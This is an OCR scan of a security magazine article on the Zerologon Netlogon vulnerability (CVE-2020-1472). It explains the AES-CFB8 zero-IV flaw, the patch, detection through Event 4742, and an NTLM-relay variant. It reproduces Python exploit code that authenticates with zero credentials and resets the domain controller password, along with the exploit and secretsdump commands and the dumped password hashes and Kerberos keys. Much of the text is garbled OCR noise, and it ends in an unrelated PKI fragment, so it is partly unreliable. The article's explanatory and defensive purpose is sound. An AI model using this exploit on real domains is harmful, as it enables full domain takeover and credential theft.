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MECFB8 © « x T X« o . Xs
AES-CFB8 encryption (normal operation)
ta |b3/c6 |53 26 ca af b0 ca cb 21 c3|18 |c1| ot |68/01/02]03]04 /0506 |07 |08 1) Prepend a random IV before the
L i e message to be encrypted
AES
2) Apply AES to the IV; only keep
| the first byte of the result
v
»®
!ba c6/53 26/ ca | af [b0|ca |cb |21 |c3| 18 |c1 | of |68 |e3]02 03] 04 0506 [07 08 ] 3) Xor the encrypted byte with the
=3 X = s ’ first message byte
9a 4) Apply AES to the 16 bytes (IV
and ciphertext) preceding the next
;é message bytes
I c5 53 26 caat b0/ ca|co 21 c3 |18 [c1 ] of |68 ea]98 03 04 05|06 (0708 5) Encrypt the next byte: keep
. N— going until the entire message is
encrypted
4 6) When finished; throw away the
e3]98] 15 [93/42[12] 10 [ba] v
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AES-CFB8 encryption (all-zero IV and

00/00/00/00 /00000000 0000|0000 00000000 |00|00]00 |00 00 00|00 |00
00| 00]0000|
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plaintext)

1) Assume an all-zero IV and
message

2) Given a random key, there is a 1
in 256 chance that the AES
encryption of an all-zero block
happens to start with a zero byte

3)0xor0=0

4) All preceding bytes are still zero,
therefore the encryption result will
be the same as before.

5) 0 xor 0 = 0 again, all subsequent
blocks fed to AES will be all-zero,
and therefore 00 will keep being
xorred to the next plaintext bytes
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ef try_zero_authenticate(dc_handle, dc_ip, target_computer):

# Connect to the DC's Netlogon service.

binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()

rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

# Use an all-zero challenge and credential.

plaintext = b'\x00' * 8

ciphertext = b'\x00' * 8

# Standard flags observed from a Windows 1@ client (including AES), with only the sign/seal flag disabled.

flags = Ox212Fffff

# Send challenge and authentication request.

nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x8@', target_computer + '\x@@', plaintext)

try:

server_auth = nrpc.hNetrServerAuthenticate3(

rpc_con, dc_handle + '\x0@"', target_computer + '$\x@3', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x@@', ciphertext, flags

)

[repositorye 1 x ] _

DOTNeﬂOgOITf :X"‘I L~ :X,,x'l:s —X_I _In :X\-nL _-I

sign&seal 1t ¥ !« L1 BGr. X L% 8% T x4 47 s T
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s " Seyver Challenge s ~ 1 Client €hallenge - . * hiNetServerReqChallenges 1
Y x

v

S NetrServerReqChallenge(

unique, string] LOGONSRV_HANDLE PrimaryName,
st g) wchar_t* ComputerName,

P GON_CREDENTIAL ClientChallenge,

PrimaryName: The custom binding handle, as defined in section 3.5.4.1.

ComputerName: A Unicode string that contains the NetBIOS name of the client computer calling
this method.

ClientChallenge: A pointer to a NETLOGON CREDENTIAL structure, as specified in section 2.2.1.3.4,
that contains the client challenge.

ServerChallenge: A pointer to a NETLOGON_CREDENTIAL structure, as specified in section 2.2.1.3.4,
that contains the server challenge response.

Return Values: The method returns 0x00000000 on success; otherwise, it returns a nonzero error
code.

[MSNRPQ * ] _

¥ ¥y x x . BdsdioKeyt -~ ¥ ’hNetSérverAuthenticate3s 1 « « " X

RSN

NTSTATUS NetrServerAuthenticate3(
(in, unique, string] LOGONSRV_HANDLE PrimaryName,
{in, string) wchar t* AccountName,

[in] NETLOGON_SECURE_CHANNEL_ TYPE SecureChannelType,
(in, string] wchar t* ComputerName,
(in] PNETLOGON CREDENTIAL ClientCredential,

{out] PNETLOGON CREDENTIAL ServerCredential,
(in, out] ULONG * NegotiateFlags,
[out] ULONG * AccountRid

PrimaryName: The custom binding handle, as defined in section 3.5.4.1.

AccountName: A null-terminated Unicode string that identifies the name of the account that
contains the secret key (password) that is shared between the client and the server.<168>

SecureChannelType: A NETLOGON SECURE CHANNEL TYPE enumerated value, as specified in
section 2.2.1.3.13, that indicates the type of the secure channel being established by this call.

ComputerName: A null-terminated Unicode string that contains the NetBIOS name of the client
computer calling this method.

ClientCredential: A pointer to a NETLOGON CREDENTIAL structure, as specified in section 2.2.1.3.4,
that contains the supplied client credentials, as specified in section 3.1.4.4.

ServerCredential: A pointer to a NETLOGON_CREDENTIAL structure, as specified in section
2.2.1.3.4, that contains the returned server credentials.

NegotiateFlags: A pointer to a 32-bit set of bit flags in little-endian format that indicate features
supported. As input, the flags are those requested by the client and are the same as
ClientCapabilities. As output, they are the bit-wise AND of the client's requested capabilities and
the server's ServerCapabilities. For more details, see section 3.1.4.2.

AccountRid: A pointer that receives the RID of the account specified by the AccountName
parameter. ([MS-ADTS] section 3.1.1.5.2.4 specifies how this RID is assigned at account creation
time.) This value is stored in the AccountRid ADM element within the ClientSessionInfo table.

Return Values: The method returns 0x00000000 on success; otherwise, it returns a nonzero error

code.
[IMSNRPQ * ] _
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$ python3 cve-2020-1472-exploit.py king 10.0.0.10
Performxng authentication attempts .

Result: @

Exploit complete!
$ sudo secretsdump.py -just-dc nba/king\$310.0.0.10
Impacket vo 9.22.dev1+20200915.115225.78e8c8e4 - Copyright 2020 SecureAuth Corporation

Password:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3bs35b51404ee:58a478135a93ac3bf@58a5ea0e8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e@c089¢cD :::
krbtgt:502:aad3b435b51404eeaad3b4s35b51404ee: 4bf18e3b1b15d4ce21e9d78170e9d4d8 :::
nba.local\lJames:1103:aad3b435b51404eeaad3bs35b51404ce: 7e4026687ad6be®abd736f1fabc8bcl6::
nba.local\kIrving:1104:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf@58a5ea0e8fdb7
nba.local\kBryant:1105:aad3b435b51404eeaad3b435b51404ee:820a783785734dcf9573327¢cb28¢c9a37:
nba.local\dLillard:1106:aad3b435b51404eeaad3b435b51404ee:28b01f6c8fc502db39dde8094b8adf33
nba.local\aCaruso:1107:aad3b435b51404eeaad3bs35b51404ee:58a478135a93ac3bf@58a5eave8fdb71 :
nba.local\RoarAgent:1113:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf@58a5ea0e8fdb71:::
KING$:1000:aad3b435b51404eeaad3b435b51404ee:31d6¢cfe@d16ae931b73¢c59d7e0c089¢O :::
UNCLEDREWS$:1108:aad3b435b51404eeaad3b435b51404ee:05691dfc56350e835099f024617d75d6:::
MAMBA$:1109:aad3b435b51404eeaad3b4s35b51404ee:a75872495bf98b5ae1c111680d320338:::
GOAT$:1110:aad3b435b51404eeaad3bs35b51404ee: 50408336a62a2e5801534af9blae7ebe
LOGO$:1111:aad3b435b51404eeaad3b435b51404ee:93b9569723fe2ad294f14577e405¢9b3 :::

[*] Kerbergs keys grabbed
Administrator:aes256-cts-hmac-shal-96:05050878e7c7f2bldc69af3fae8B8024a24e8ae3a3ab206686df3b4s1bb66ba274
Administrator:aesl128-cts-hmac-shal-96:2fce582fac6813110da19e23379e77b9
Administrator:des-cbc-md5:4673dc4f193e80c1
krbtgt:aes256-cts-hmac-shal-96:60d49e10@c5a76bc93a%e39d4cde934261F36f68463065ec16f28a61¢c5658f7¢c7
krbtgt:aes128-cts-hmac-shal-96:fafbb53f4a349fead8d6e39a3553215¢

nba.loca Jam 256 s shal-96:5aff735d41c7d56bd863cb2cea54582122 26b4f05f864d40a510b73cb0a8
nba.local\ 28-cts-! sh ‘d~(53)<7720<b €c9d3840699488069f
ba. local

bcOe9a4d3a2fef fa39bccb9e7fcffodf7dc2
nba.loca

X ox s A4 T _~ sgithub.com/risksenke/zergloggn _ ~ * s N X X §
'016; SN R T
authenticator = nrpc.NETLOGON AUTHENTICATOR ()
authenticator['Credential'] = ciphertext #authenticatorCred
authenticator ['Timestamp'] = b"\x00" * 4 20 # timestamp var

regquest = nrpc.NetrServerPasswordSetz ()

request["PrimaryName'] = NULL

reguest ["AccountName'] = target computer + 'ENxOOD!

request['SecureChannelType"] = nrpc.NETLOGON SECURE CHANNEL TYPE.ServerSecureChannel
request['ComputerName'] = target computer + 00!

reguest ["Authenticator™] = authenticator

request ["ClearlNewPassword™] = b"\x00"*51&
resp = rpc cOn.redquest (request)
resp.dumg ()

[ " tepository 1 x 1 X«

x4 s X x  (@authenticAtdre @ X 46 L X g X 441 _F x« .,

> ~ v

X« 4 X4 pmMe Ax, [ x s 1o X v 4 L i O B R ol

> ~ ~ ~ > > v ~

s 1., s 1 s 1410 DAY  «~ X4, s X X1 4w

> ~ ~ a v v v v o< w
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«~ S L [ ?

self.clientStoredCredential = pack('<Q", unpack( <Q',self.pppl[@] + 18}

reguest = NetrServerPasswordsczt2()

reguest["PrimaryName’] = "‘\AAW' + remotellame + '\x@0"

reguest["AccountName'] = remoteMame + "3%\x88'

request["SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANMEL_TYPE.ServerSecurelhannel
reguest["Authenticator'] = self.update_authenticator()

request["Computerdlame'] = remotelame + "\ x@@'

encpassword = nrpc.ComputeletlogonCredentigl AES(self._ password, self.sessionKey)

indate = b'%x@8' * (51Z-len(self._password)) + self. password + pack('<L', len(self._ password))
reguest["ClearNewPassword'] = nrpc.ComputeletlogonCredentialAES{indata, self.sessionkKey)

result = dce.reguest(request)

[github.com/dirkjanm/CVE202014724 *x ] _

«_ .1 __passiwerd , + « ¢ P Cr X R R x <y Fod
cleartext -+ _ 1 |, r 1 _ LNetrSérverPasswordSet2s 4 « « " x s x 1
Netlogon Qedentialgt Coe *nipliteNetlogonCredentialAESs 4 « « 7 x s

xS v _ . ken(passwordip MH 4, FrpMCcH* ~ _ X indatal s T 4 ] 4s

~ N

S 1,5 s 14 L _little ediart ungingedong L s L ! x ¥

~

X ” -I -| ” X
X o0 Tt AT o sDomaimts T d X 4 s x L L EXx &1 Cd s
S T R S . X T X L X0 vy
, 171 *XDCSYyné __ ~ » Svw «BCSync~ 1s XL wxisoop X |4
.~ -Das Tl IDGE L s fd% _x o wx s sDCSyncs. LW T < dds,
DRSH « x {1 x ., | CX T s X e X 1 v qd X
S XN 11T _sides +~X|.~.D~C-S”E‘DDSA\P§">-H“3" L~J”~ s,,“v"
é X L _ oo
s sl s ~  r XHpRY % <DCShadow. s s 4« L L s X
é !l x X DXooox X 0X , X D@1, * el 4 X "uqx s
. % secrétdumppy -~~~ " 1, 4.~ XDOE T xs  TIAS L F L LY
~ _ , Domain Admin x _ | SN . L. X X impacket * <11 X, 1Y)«
SAM ntds.dit ,Security Hive ,LSASecretst s x T SMB. * s (DA * X% 1 - s L
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S 411 ismbéxec vl s) vssadfin < . - DRSS X < X 1 x L, © XXX
- 14 s Pl x4 4y T x g Ay impaeket e Tt A7
LML X X s 4L os

S v S 17X <A

“+  sMictosoft , * " "HAOHME , XMB X xS s 4 oxs 1 x4 T X

HAHM, x Yy x> 4« 7 x, Neflogonix " 17 s s @ x .+,

Y44x"4 s 74
A stepwasaddedto the sessiorkeynegotiationprocess!'If none of the first 5 bytesof the client
challengeis unigue, the serverMUSTfail sessiorkey negotiationwithout further processingof

the following steps

NetrServerAuthenticate s 1 « « X . 8 gH A _ XM AN H L Xnetlogondll 7 sf *x x s
x flowrt NllsChallengeCredentialPairVulnerablé « ~ « 7 _ s 1] S T X S v q .
Challenggt 4 4L S N KSLT) 1 S H "X L s, os XX s, X

:( . 1Qwedentials

TheNetrServerAuthenticateghethod shouldmutually authenticatethe clientandthe serverand
establishthe sessionkey to be used for the securechannelmessageprotection between the

clientandthe server

bufferrt Tl x| 1 xGhallengat NlIis€hallengeCredentialPairVulnerable 1 « « 7 x X
R N I VA S R S R SR A S (o S Sk
1.+« 5 ~ L 1 , - R CoXorck Yoo GQUffef®] L. Lt 17X 4 e 0 STAX G X
104" e _ ) v i i¥xs_ L ~r9ds % QGhallengg T x .~ . s I {*Xs 7 ]x s
, -~ 1+« Chalewnggt x "x{:xx n 35715 sA4 . 7x s oxs o] T x{Xxx
"MMMm@mmaen Y X oy  <Tthallengar s 4 S X T sMASHTX A4 Y
. « SBecura L Whitepapert -~ x _ « 1, 410 s> A

"When an |V consistsof only zeroes there will be one integer 0 XXX >K255 for which it holds

that a plaintext that starts with n bytes with value X will have a ciphertext that starts with n

byteswith value0. X dependson the encryptionkey and is randomlydistributed.”
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Joxmlvem Mm Yiv! ey 14

a

v

S X, _.x

ull s =

NlIsChallengeCredentialPairVulnerable proc near

cmp cs:dword 1800BF9B4, 1
mov r8, rcx
jnz short loc_18@0A9659

] 1
rex; rex

short loc_18@0A9656

il s =
test rdx, rdx
jz short loc_1800A9656
]
r9d, byte ptr [rcx]
edx, 1
i ¥
loc_180@0A9643:
movsx ecx, byte ptr [rdx+r8]
cmp ecx, rod
jnz short loc_18@0A9659
J 1
Y Yy

rdic; /(S loc_18@0A9659:

xor al, al
retn
N1IsChallengeCrédentialPairVulnerable endp
loc_18@0A9656:
mov als, 3
retn
[Opatchd x & § ] "

My
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p ~~» X454 po py S ABE JXx P et S sox X0 1) x o x o1
L XX pHY kmannpahgnAA Hallengdtd s<4c 4,1 - * 4 s ¢ 4

T4 8L DG ML SIXETTX D)
Lot . v b Y RP@« PXX 1T L DA S X MR XY X« Xx (4 1s
L.t S URP@, v+ X __Windows _+ 7 14~ I B R s 4 w417
-|\px|va X vxx:s_'|7-|=><x|¥g,p®:sZJJLxs: o e [ X ] e q
Windows + " 4~ .+ 4.4 _ 1 _ 741 EventViewar® | {4 , X s U+ Fux b _ S~
cx o4y s v 4 Sessiomtd LX T sy 0 X7
S+ L XX, AT x s x 7 o X opetlogondll-s 1T 4 - x1xxy¥ysx 3 XY
Floxoo Y X oo X DX noxoxqd ¥ oxsX Doy 174X L8” w« L ] e «ox X% .
L. X TRPCYx _ St .S _ s 47" s Lo (xpx ] oo oxT, X o) x7
vos e adls o x0T o xs 4 e Dx T 440 s 4 0 LK
oL Zx~“x :v-|v'| XVJ 1:X.“dll')Y,EA+X‘|>5'~X~x"i-x"”-|x,}Q(‘i wj
. VulnerableChannelAllowLists _ 1 _ ~» * ¢ "4+« X 1% Lo
T .. Mindows + " 4« | XX o w XA s 0] HYLHIME X x T T x
Ls” s A" .1~ . xRPC X1l s 7]
A1, 4y 0D~ SX{ s T 40X

HKEY_LOCAL_MACHINESYSTEM CurrentControlSet \ Services \ Netlogon \ Parameters

\ FullSecureChannelProtection

FY X 4 XHInIR mENfércemenmode r 1 11 *RPE { » _ «  «» M 4 e X441 4 x X

. Enforcementhasg¢ - ~ ¢ Lo x 4.1 4Y¥Y .S
domain ¥ .~ *s@mba *L X « x 1 x ., | L, FY L 1CISARs « + sHMt  , - x 1Y |
na ~ _ ~YHAMY ~» (¥ SILY, » X ¥ L N R F 1« X « TCcomroller | . u LS

oo~ Z>-|J‘ « 1 s s X Z-|><-|-|Ln<_y>+Ivs,yZ>gyns"sZAs-|s>x~vZxs-|"s1\s\
serverx Serverschannel=true: x 4 . ~» x Yy 4 " x s ¥y x "4 < I netlogon- * x4y
L Dxo 4y s x _shmbar” | X%« {+1, ~ %X . «*smhconfif xschanne| T ] x ]

cvsstdoy x " 4s x4y s Lx {7 ],
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In the wild

¥ 7 « DonmfainControllerss s N T

Kauto Huopio ’
& » @kautoh

Heads up all Microsoft AD administrators! If you are crazy
enough to run your servers with direct internet connectivity -
you are in *grave* danger. Patch #Zerologon like..last
month!

@MsftSecIntel

e Microsoft Security Intelligence & ’

Microsoft is actively tracking threat actor activity using
exploits for the CVE-2020-1472 Netlogon EoP vulnerability,
dubbed Zerologon. We have observed attacks where public
exploits have been incorporated into attacker playbooks.

4:29 AM - Sep 24, 2020 O
X"Xx
cdys e . e o x s o ls X X ] e T4 s e A
'SR T B Y X JADR L ] X Ot XX X T x g x o o Dox
Sx mx 0 x { *Registrff . Y 5 4 DB S BX (1 s T4
L S X Dox "X X L X T x D O B X 1 1 -
NTLME, x o x - xDOT € sk X1+ <Highlseyeft * X {5, s

i _ ADCH-¥yxL: * . * 1 s NTLMRelay Zerologorx $ _

NTEMY ses | ©  Netbogomi_ I~ NTLM ! « 41 + |
Do L1 1A ‘. S , 1 LADL Lo Xy S aL *q L~
L sSDA% _ X - ¢ X4l X Ixsl Sss ool

~ ~ v ~

PR

X

- ~MicroSoftxr 47, 1 X .ostox 4k

X L, X ¥ X
- S
>
x " 4 q{s
e x g X%
X“
s 1
X\ ’s
xXL_|~x
AL X
L X
Tlx

- _ *NI'Hash! x A

v sixs b @ss 41, - «Netlogon © ~ XDCG¥~ 5 . «* + XAD,
x4
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YOomairrt NTLMg * x s €ss | 4 s s .

Client Server DC

S i
NTLM NEGOTIATE mEssa GE |

ESSAGE—
€ HALLENGE_M f
g —NTLM :

i

UN_UALIDF\ﬂDNdShM_INFm-—-‘

L g-NETLOG

[, % . X iaddixd],

17 1 To x| ‘ChallehgeResponse~L _ + ¥4x{ L s ONTEME . * 1 kY o4
.Netlogont¢ . 1+ _ s _ 1! Sessiorkey x s){ X | s
S..w% Netlgem . f¥X%.is . LT

PrinterBug - , « - s

R VI L (. .,"_ T A FpHNt spooler. & X 4 L e |
PrintJobs « , D@&sl !, *x I s . ADCredenffals 1 ds o I 7 {41s>* |
s 7 xNotification 1 ¢ x _ .S ~ _~ 1 Natification_ 1 4 ¢ S x o ! 4y s | x
x 214 v q4s 0l s x| Lx o coxos Gos * 1 FX oYL
ticket gran) TGT ¥ _s I x ., « s 1 s | MachideAccount X 4 &+« . x
PTH | x o 4 % x ticket x » * » « X
Domaim¢ 4 * _ 1 _ . 1>* . x” 14, _ x| " ,MachineAtcountt = ** "1 _ I _
sUX o~ Pemaim X X1 s T 4X T Xxe o Lx X4, . T
ohni |l * x ., (DormhakTt - x s X I I * 1 =X DxoToxo DX .
PPd e T x e 1s 0 sessiorkeys 1. 4.4 1 xX  x Cnetlogon 1 X~ 1 X
I xDG** Demaimt . X " x X 1s 1o DX oo, L X" lxs x Xy

.computers
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NTLMRelay

1x <1 sx [ .Rely ~~{MarxinThéMiddlent . x < x s s

1 X « L S .o X% :,,~s L X LoX
Client Attacker Server

. Server . Client
NEGOTIATE NEGOTIATE

Generate
CHALLENGE CHALLENGE C“a"e”ge_
b6515172¢37197b0 S e . b6515172c37197b0 e

. i AUTHENTICATE AUTHENTICATE

b6515172c37;197b0ﬂ | b65151:72c37197b06 ok

. response

: : z o SR

v

[https://en.hackndocom/ntlm-relay/ 4 *x ] _

.https://len.hackndocom/ntim-relay/¥ * s . x {4 <> s s>, 1 x {

~ > ~ oA

S S S
Fd1. s 11, N Pk S~ e 4 xLx s ox ]
¥Y*xs .x 4% x ., Drikjan v J x4+ P"s "7 Txy x|
https://dirkjanm.io/a-different-way-of-abusingzerologon/
¥ 1 ss s 1. s Tsy , o~ XS b X 1

dirkjanm.io 4 x * _ ]
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¥ S I T e T AU
printerbugt _ _ ¢ _ s ¢ Domaigt - xs .1 T x> 1 o _ i xslcs {14,
.Dat | -~ x _ - PriAtSpooler ¥ x » 4] s
Zerologom DOt | ¢
C(FW R 4 T A0 0 L Le) s x D Par 1T, P
Cx g x o, X1 s np pt*ewx o Python €1 44 . 1. s RN | S .
J9MB . 1. ASMB 4. X L)
(P X x s 4o IRelgys | %O KSDIC A% T4 T L T x s
DRSUAPIL x « 4 3 PESync , - NTLM :,» DCIX . x _ Lo~ xos Gy s 7 qs
T ool o  x~ _ 4% ¢ MActiveDirectorys - 3% . T ¥ Luexdxix., s
-~ ¢ % sessionkey - . ¢ X L~ , S 4« 417” x<x  DPomain s Lo X
s 4 *s o .~ *zérologan o | x 7
Lprinterbuge 1 x 4 Y Xsmbii_. 1 Wxx s X ] X 4 4, X" 17
ibaxt -~ ¢ 417 , "MachineAdceuntt . NTILMY x 7 L x DC2xiscl € siv "o
s A s{ .« ] s DE2u_ 181D NTLMAutHentiCateMessageg - - Rt
I s 1 PCAE _:+*" xINetlogdmt 1) o,suiX 1.1, ix 4
t +41_ _ " DCIt s’ NTLMSessiorKeyt -« L *<" 740 (1sx s x

DCL v x vt~ 4, x| x?y  Zeérologon ¢ s < | .

~

~ * _ NetlogonSessiorKeyt : ~ ¢  * DCIy *x , * XNTHMSessiaKeyt = -~ ~ *

NTLMRelay . « 1 sd4s4 +>*s > s 7

« *signit  « » NTLMY¥ - . + dign&seadl + = x 1« DRSUAPI+ 1 1

¥ Negotiate Flags: ®xe2@88297, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate
....................... 8 .... .... = Negotiate ©x00000100: Not set
cats sean mesas swss waua e T = Negotiate Lan Manager Key: Set
g = i - et
Negotiate Seal: Not set
Set

dirkjanm.io {1 x © ]
s ¢ _ 7 iDCxm Rdlay- s,: ~* DCatd ™ X0 s s e s @
FdL Yyl s 7 MIC 94, T e 19 T H4Xs MIOEs Cox Xl ] 1% ]
Y - x A s i1 o € x 7
"If we look up the NTLMdocumentationfor the calculationof the MIC we find out that itQa

HMACof the 3 NTLMmessagesisingthe sessiorkey assecret
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, S ¢ X FZerofogoh + ~» DCE "+ 4 ¢ * <NTLEME x & X « s ¢ = xSeskigrKeytl ¢ x _ s
MIC * _ 17 x 4 cyYls -« DE1" , DC2y *x " U X4 dRelay 1« e 1 X
I's { Xx | 7" .x1s
=-|><sNT|_‘MReqay’:,,¢ x D x sl € s X x s . A q x sl ¢ s X Dx o, X
A I 1 x 7 {ReverseEngineeringl 1<« 5., 1 < 4 Xisx I x ss
Ylow-s L 1 | s 0Oxe02a000@ . (
DC2 Attacker DC1
SMB - Negotiate A
<
SMB - Challenge A
SMB - Authenti
=Sief Wl DCERPC + EPM (handshake)
[EPM: the service listen on port-“
< 49666
SMB - Network Session expired &
<
[ DC2 has to re-authenticate J SMB - NEgOtiate B DCERPC + Negotiate B

[ challenge: bdebfb681ab7b546

J

mic: f98de6elabfdcd66ba5e79434c764a56
sk: 6bb3aalfebaa761c2588184f3c01dag5
ntlmv2 client challenge: 07eabcedb5f31861

~

™

—

SMB - Challenge B

DCERPC + Challenge B

SMB - Authenticate B (invalid mic|

—

DCERPC + EPM (handshake)

e

netlogon (netrServerRethallenge) -req

netlogon (netrSewerRethallenge) -res

netlogon (netrServerAurhs)

—

netlogon - Access Denied

netlogon (netrServerRethallenge)

netlogon (netrServerReqchallenge) -res

netlogon (netrServerAuth3)

netlogon - Access Granted

netlogon (netrLogonSamLogonWithFI‘agsJ

netlogon (netrLogonSamLogonWithFlags)

DCERPC - NTLM Authenticate B (valid mic)

—>

(EPM: the service listen on portw'
49683

N

-

Zerologon

We keep sending these 4 packets until
we get a challenge from the server which
helps us to do zerologon (on the 2/4
packets)

“« Y

NTLM session key was not encrypted by
netlogon key b lid
level = 6 in packet

we have rid accoud field which is not 0

~ S

mic: 53547daf936...c07a151e794efl
sk: 6bb3aalf6baa7....1.84f3c01da9s
ntimv2 client challenge: 07eabc...61

- ~
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DC2 Attacker DC1
DRSUAPI - Dsbind req

DRSUAPI - Dsbind res ‘ For using the DRSUAPI

DRSUAP] - DsGetDClInfo

DRSUAPI - DsGetDClInfo res

DRSUAPI - DsCrackNames req

Convert into other format of
Directory Service Names

DRSUAPI - DsCrackNames res

<

DRSUAPI - DsGetN CChanges

A Request to send update
between the DCs

DRSUAPI - DsGetNCChangesreq

‘ Encrypted blobs of updates

Yrinterbug® ntimrelayxin DCSYN@laymode. _PoC + . ~» s s « . . 11 . X

141 s NTDQNTT dump L B

dirkjanmio 4 x ] _
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s>“ vs x s {4 ¢
X s Jiss S T F ¥ A | T SN S N [ SRR B (I S S I
EventViewer
loginswiths @ x  mimikatz - ~» ¢ * X 4y s oo pcHnyXxsdaSsc o 10
Fd 0 x 1 expliditéredentiafs  (
x o _netlogon 1~ x X 41 . XpyHpy Hy | ¥ 1
s .S CX ok Jogon 4 xdXTHTT Xy SXX L T pHP R B T XD
P xS
T1DE . * 4. _ netlegon *AX AN . pyBEmyoad. X4 -
st v SIDs _ L s&ngnymoudogon x X 44« nAAHXwALST L 1"

1x

General VDﬂa.l-_ ‘

Event 4742, Microsoft Windows security auditing.

A computer account was changed.

Subject:
Security ID:
Account Name:
Account Domain:
Logon ID:

Secunity D:
Account Name:
Account Domain:

Changed Attributes:
SAM Account Name:
Display Name:
User Principal Name:
Home Directory:
Home Drive:
Script Path:
Profile Path
User Workstations:
Password Last Set:
Account Expires:

Log Name: Security
Source

Event ID: 4742

Level: Information
User: N/A
OpCode: Info

More Information:

Computer Account That Was Changed:

Microsoft Windows secunity Logged:

Event Log Online Help

ANONYMOUS LOGON
ANONYMOUS LOGON
NT AUTHORITY

Ox3ES

MOON\OVERLORDS
OVERLORDS
MOON

9/17/2020 11:28:46 PM

9/17/2020 11:28:46 PM
Task Category: Computer Account Management
Audit Success

Overlord.moon.local

Keywords:

Computer:

[logpointd *x ] _
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s LY x L q4x g

Yvhitepapernt
https://www.securacom/pathtoimgphp?id=2055

Yesting& Exploitation 1 . |
https://github.com/SecuraBV/CVF20-1472

https://github.com/risksense/zerologon

https://github.com/dirkianm/CVE2020-1472

https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon?s=08

NakedSecurity https://nakedsecuritysophoscom/2020/09/17/zerologorhacking

windowsserverswith-a-bunchof-zeros/

MSNRPChttps://docs.microsoftcom/enus/openspecs/vwndows protocols/ms
nrpc/ff8f970{-3e3740f7-bd4b-af7336e4792f
Sambaeam: https://www .sambaorg/samba/security/CVR2020-1472html

MicrosoftYhttps://docs.microsoftcom/enus/openspecs/windows protocols/ms
apds/5bfd942e7da5494d-a640f269a0e3cchd
BlackhaYhttps://i .blackhatcom/USA19/Wednesday/usl 9-SimakovFindingA-Neede-In-

An-EncryptedHaystacK_everagineCryptographicAbilities To-Detect TheMost-Prevalent

AttacksOn-ActiveDirectorypdf

Dirk-jan Mollema https://dirkjanm.io/a-different-way-of-abusingzerologork

Logpointhttps://www .logpoint com/en/blog/detectingzerologonrvulnerabilityin-logpointk
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Connection is secure

Your information (for example, passwords or credit
card numbers) is private when it is sent to this site.
Learn more

& Microphone Allow -

B Certificate (Valid)

& Cookies (20 in use)

& | Certificate be N ' v 1 s X s L s

General petails Certification Path

a Certificate Information

This certificate is intended for the following purpose(s):

= Ensures the identity of a remote computer
* 2.23.140.1.2.2

| Issued to: *.google.com ]

| Issued by: GTS CA 101 |

Vvalid from 05/05/2020 to 28/07/2020 |

Issuer Statement
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|| Field Value A
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Self-Sign ( 1
Publiclytrusted vs Privately trusted PKI
H 11 b X g, HX X » x4 9 44X« X509 ?2x] PKixx ™, 41 [

XX PKHi"XXJiX, 1 x « L :.|’”’Jxx~:s _,,,sJ,,.|-|”v T s X e X o

CA~xs 4. xPKliTx_s TULPKE.« D x1x s

?Publicly trusted PKI-* .~ x T s
1 publicly trusted PK#* x40 4% x XX x o\ D T x4 s v 477 1 x "

“ L i x s ¢ x "o , « + S L L, X s :xle: - S

~ > ~ ~ ~ ~

?Privately trusted PKI-* .. x 1% ( s

1 _ PRrivatePKI x L 4 « X x4 x G DXL x4 L. x X PuplicPK¥ 4 . L XY
CX oL Tl XB09 s e oxxsp ~ IToxby ) e AA s o] o x o,
Coe LSS rx o ox s s o X s PRE T A4 T X DesyXe xpx |4

cEs Al x U x U x Ixx s oIx 44l

1717 4> v d 74 sx 4T dw{!l codidx L
www.DigitalWhisper.co.il
nn 2020, * x 14227 x { [ ¥

.S AT s Lx o ps L 4x o UPKle A% xR e



Technologic
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END
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ITUT . ¥
ISOmMm 1
joint-iso-itu-t H:
., X S O LoX i« s , ox bx o7 i1 4 Lo R
Mo.c.Mn.Mmo0 n o: -IntekCorporation L QIDs , « _ - X4 1 = x X« 41
« L OlIDtree-x s | ~ "X, "
TI 1ISO Root
|
1 1.3 identified-organization el o fontiso okt
0 1 2
7 1.3.6 dod,
shn:nm identified o;ganluﬂon
1 1.3.6.1linternet, —
dod
1 1.3.6.1.4 private, ’i
1 1.3.6.1.4.1 IANAenterprisenumbers m:m‘
I T T T T 1
1 1.3.6.1.4.1.343Intel Corporation dreckey mamt Sxpecentat | [ AL
17 .17 4~ % 474 sx i1 HwLl g x T
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n
n
n
&
=8

1 iso.identified-organizationdod.internet.private.enterpriseintel

.GlobalOlDreferencedatabase®

< X . _ OID-LDB-

xYy 44 T s s x p YL OID_ L X1 7. s A4%Y pud b ko ds, Xx]
H.p.N.J1+) s 41 Pyt 0 I des . 18 054H st X X e 07 P L
Reference record for OID 2.5.4 (H.p.n.cpT
2 joint-iso-itu-t, joint-iso-ccitt ds ::- 4 attribute Type
| 2.5 (ds)
| 4
| attributeType
| 254
+ {joint-iso-itu-t(2) ds(5) attribute Type(4)}

+ {joint-1so-ccitt(2) ds(5) attributeType(4)}
+ [joint-iso-itu-t/ds/attribute Type

* joint-1so-ccitt/ds/attnbute Type

| /Joint-1ISO-ITU-T/5/4

Hoyt Kesterson & R Exner

ITU-TSG 17 & ISOMECIJTC 1/8C 6

oD Name Sub children Sub Nodes Total Description

2540 |objectClass 0 0 Object classes
2541 |aliasedEntryName 1 1 Attribute type "Aliased entry name"
25472 |knowledgelnformation 0 0 knowledgelnformation attribute type
2543 |commonName 1 1 Common name
2544 |surname 1 1 Attribute "surname”
2545 [senalNumber 1 1 Sernal number attribute type
2546 |countryName 1 1 Country name
2547 |localityName 2 3 Locality Name
25478 |stateOrProvinceName 2 3 State or Province name
25409 |streetAddress 2 3 Street address
2.5.4.10 | organizationName 2 3 Organization name
2.5.411 |organizationUnitName 2 3 Organization unit name
25412 |tatle 1 1 Title attribute type
2.5.4.13 |description 1 1 Description attribute type
2.5.4.14 |searchGuide 1 1 Search guide attribute type
1"”1""“x }_-I"‘I-V:SX'I-LA-I'”W'IVIVL:X'II‘IX'A L
www.DigitalWhisper.co.il
